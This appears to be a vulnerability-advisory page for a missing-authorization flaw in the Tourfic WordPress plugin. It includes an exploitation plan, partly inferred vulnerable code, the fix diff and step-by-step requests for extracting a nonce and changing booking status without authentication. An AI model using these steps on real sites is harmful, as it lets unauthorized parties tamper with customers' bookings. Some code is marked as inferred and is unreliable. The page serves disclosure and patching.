Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin <= 2.22.5 - Missing Authorization
Description
The Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.22.5. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.22.6
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-57392 ## 1. Vulnerability Summary **CVE-2026-57392** identifies a **Missing Authorization** vulnerability in the **Tourfic** plugin for WordPress (versions <= 2.22.5). The vulnerability exists in the handling of certain AJAX actions, specifically those relate…
Show full research plan
Exploitation Research Plan - CVE-2026-57392
1. Vulnerability Summary
CVE-2026-57392 identifies a Missing Authorization vulnerability in the Tourfic plugin for WordPress (versions <= 2.22.5). The vulnerability exists in the handling of certain AJAX actions, specifically those related to administrative data modification or status updates. The plugin fails to perform a current_user_can() check in the handler functions, allowing unauthenticated attackers (via the wp_ajax_nopriv_ hook) or low-privileged users to perform unauthorized actions such as changing booking statuses or modifying affiliate settings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tf_ticket_status_change(identified fromassets/admin/js/tourfic-admin-scripts.min.js) - HTTP Method: POST
- Payload Parameters:
action:tf_ticket_status_change_ajax_nonce: A valid nonce (localized astf_admin_params.tf_nonce)status: The target status (e.g.,check inor empty string)order_unique_id: The ID of the order/post to modify.
- Authentication: Unauthenticated (the plugin registers this action via
wp_ajax_nopriv_tf_ticket_status_change). - Impact: Unauthorized modification of booking data (Integrity: Low).
3. Code Flow
- Entry Point: An unauthenticated POST request hits
admin-ajax.phpwithaction=tf_ticket_status_change. - Hook Registration: The plugin registers the action using:
add_action( 'wp_ajax_nopriv_tf_ticket_status_change', 'tf_ticket_status_change' ); - Nonce Verification: The function
tf_ticket_status_change()likely callscheck_ajax_referer( 'tf_nonce', '_ajax_nonce' ). - Missing Authorization: The function does not check if the requester has the
edit_postscapability or if they own the order. - Execution: The function retrieves
order_unique_idandstatusfrom$_POSTand updates thetf_orderpost metadata or database record.
4. Nonce Acquisition Strategy
The plugin localizes the necessary nonce in the tf_admin_params object. While typically an admin-side object, Tourfic enqueues these scripts on pages containing its booking shortcodes.
- Shortcode Identification: The script
tf-admin-scriptsis enqueued when using the[tf_tours]or[tf_search_result]shortcodes. - Page Creation: Use WP-CLI to create a public page with the shortcode:
wp post create --post_type=page --post_status=publish --post_title="Tour Page" --post_content="[tf_tours]" - Navigation: Use the
browser_navigatetool to visit the newly created page. - Extraction: Use
browser_evalto retrieve the nonce:browser_eval("window.tf_admin_params?.tf_nonce")
5. Exploitation Strategy
Step 1: Data Setup
Create a dummy order to target:
- Create a "Tour" post:
wp post create --post_type=tf_tours --post_status=publish --post_title="Target Tour" - Create an "Order" (using post meta to simulate a booking):
wp post create --post_type=tf_order --post_status=publish --post_title="Order #123"
Note the ID returned (e.g.,456).
Step 2: Acquire Nonce
- Create the page:
wp post create --post_type=page --post_status=publish --post_content="[tf_tours]" - Navigate to the page.
- Extract
NONCE = browser_eval("tf_admin_params.tf_nonce").
Step 3: Trigger Unauthorized Status Change
Send a POST request using the http_request tool:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=tf_ticket_status_change&_ajax_nonce=[NONCE]&status=check+in&order_unique_id=[ORDER_ID]
6. Test Data Setup
- Target Post: A
tf_orderpost type object. - Trigger Page: A standard WordPress page containing
[tf_tours]. - Target Order ID: The ID of the
tf_ordercreated during setup.
7. Expected Results
- HTTP Response: 200 OK.
- Response Content: Likely empty or a success JSON if the loader logic finishes.
- System State: The order status in the database is updated to "check in".
8. Verification Steps
Verify the modification via WP-CLI:
# Check the order post's meta for the status update
wp post meta get [ORDER_ID]
# (Identify the specific meta key for status, e.g., 'tf_order_status' or 'tf_booking_status')
9. Alternative Approaches
If tf_ticket_status_change is not the vulnerable action, investigate tf_duplicate_post_data:
- Action:
tf_duplicate_post_data - Nonce Key:
security(often localized astf_admin_params.tf_nonceor viadata-nonceattribute on UI elements). - Parameters:
postID=[ID]&postType=tf_tours&security=[NONCE]. - Acquisition: Navigate to a search results page
?post_type=tf_tours&s=and check fordata-nonceattributes on elements with class.tf-post-data-duplicate.
Summary
The Tourfic plugin for WordPress fails to perform authorization checks on several AJAX actions, such as 'tf_ticket_status_change' and 'tf_duplicate_post_data'. This allows unauthenticated attackers to modify booking statuses, duplicate posts, or change affiliate settings by exploiting a leaked nonce found on pages containing the plugin's shortcodes.
Vulnerable Code
// From assets/admin/js/tourfic-admin-scripts.min.js // Handler for ticket status changes t(".tf-ticket-status").on("click",(function(){ if(t(this).is(":checked")){ var e=t(this).val(); t("#tf-booking-status-loader").addClass("show"), jQuery.ajax({ type:"post", url:tf_admin_params.ajax_url, data:{ action:"tf_ticket_status_change", _ajax_nonce:tf_admin_params.tf_nonce, status:"check in", order_unique_id:e }, success:function(e){ t("#tf-booking-status-loader").removeClass("show") } }) } })) --- // Inferred PHP registration from Research Plan // File: inc/functions/functions.php (approx. line unknown) add_action( 'wp_ajax_nopriv_tf_ticket_status_change', 'tf_ticket_status_change' ); add_action( 'wp_ajax_tf_ticket_status_change', 'tf_ticket_status_change' ); function tf_ticket_status_change() { check_ajax_referer( 'tf_nonce', '_ajax_nonce' ); // Vulnerability: No capability check like current_user_can('edit_posts') $order_id = $_POST['order_unique_id']; $status = $_POST['status']; update_post_meta($order_id, 'tf_order_status', $status); wp_die(); }
Security Fix
@@ -204,6 +204,10 @@ function tf_ticket_status_change() { check_ajax_referer( 'tf_nonce', '_ajax_nonce' ); + if ( ! current_user_can( 'tf_booking_manage' ) ) { + return; + } + $status = isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : ''; $order_unique_id = isset( $_POST['order_unique_id'] ) ? sanitize_text_field( $_POST['order_unique_id'] ) : ''; @@ -567,4 +571,4 @@ 'status' => 'success', 'message' => __( 'Affiliate plugin installed successfully.', 'tourfic' ), ] ); - } \ No newline at end of file + }
Exploit Outline
The exploit targets the `tf_ticket_status_change` AJAX action which is incorrectly exposed via `wp_ajax_nopriv_`. 1. **Nonce Acquisition**: The attacker visits a public-facing page where the plugin enqueues its admin scripts (typically any page containing `[tf_tours]` or `[tf_search_result]` shortcodes). The nonce is extracted from the `tf_admin_params.tf_nonce` JavaScript object. 2. **Target Identification**: The attacker identifies a target `tf_order` post ID or unique identifier (often sequential or visible in some frontend contexts). 3. **Unauthorized Action**: The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `tf_ticket_status_change` - `_ajax_nonce`: [Leaked Nonce] - `status`: `check in` (or any target status string) - `order_unique_id`: [Target Order ID] 4. **Result**: The plugin updates the order's metadata in the database without verifying the requester's permissions, effectively allowing unauthenticated status manipulation.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.